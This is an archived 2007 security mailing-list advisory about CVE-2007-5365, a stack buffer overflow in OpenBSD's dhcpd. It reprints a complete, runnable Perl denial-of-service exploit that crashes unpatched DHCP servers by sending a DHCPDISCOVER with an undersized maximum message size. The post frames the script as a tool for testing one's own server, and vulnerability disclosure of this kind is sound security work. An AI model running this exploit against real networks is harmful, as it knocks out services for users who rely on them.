Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Serve

Subject: [EXPL] Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server (Exploit)
Date: 4 Nov 2007 15:53:50 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server 
(Exploit)
------------------------------------------------------------------------


SUMMARY

Stack-based buffer overflow in the cons_options function in options.c in 
dhcpd in OpenBSD 4.0 through 4.2, and some other dhcpd implementations 
based on ISC dhcp-2, allows remote attackers to execute arbitrary code or 
cause a denial of service (daemon crash) via a DHCP request specifying a 
maximum message size smaller than the minimum IP MTU. The following 
exploit code can be used to test your DHCP server for the mentioned MMS 
issue (maximum message size).

DETAILS

Exploit:
#!/usr/bin/perl
# DoS Exploit for DHCPd bug (CVE-2007-5365)
# By Roman Medina-Heigl Hernandez
#  a.k.a. RoMaNSoFt <roman@rs-labs.com>
# [27.Oct.2007]
# Tested: Ubuntu 6.06 LTS

use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;

use POSIX qw(setsid strftime);
use Getopt::Long;

### Default config
$mms = 280;

GetOptions ('mms=i' => \$mms);

# sample logger
sub logger{
    my $str = shift;
    print STDOUT strftime "[%d/%b/%Y:%H:%M:%S] ", localtime;
    print STDOUT "$str\n";
}

print ("DHCPd DoS exploit (CVE-2007-5365) - RoMaNSoFt, 2007\n---\n");

logger("Opening socket");
$handle = IO::Socket::INET->new(Proto => 'udp',
                                Broadcast => 1,
                                PeerPort => '67',
                                ## Hacked to work as non-root user :)
                                # LocalPort => '68',
                                PeerAddr => '255.255.255.255')
      || die "Socket creation error: $@\n";     # yes, it uses $@ here

# create DHCP Packet DISCOVER
$discover = Net::DHCP::Packet->new(
                      Xid => 0x12345678,
                      Flags => 0x8000,              # ask for broadcast 
answer
                      DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
                      DHO_VENDOR_CLASS_IDENTIFIER() => 'rs-labs.com',
                      DHO_DHCP_MAX_MESSAGE_SIZE() => $mms,
                      );

logger("Sending DISCOVER");
logger($discover->toString());
$handle->send($discover->serialize())
              or die "Error sending:$!\n";
logger("Done");

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5365> 
CVE-2007-5365


ADDITIONAL INFORMATION

The information has been provided by  <mailto:roman@rs-labs.com> 
RoMaNSoFt.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server (Exploit), SecuriTeam <=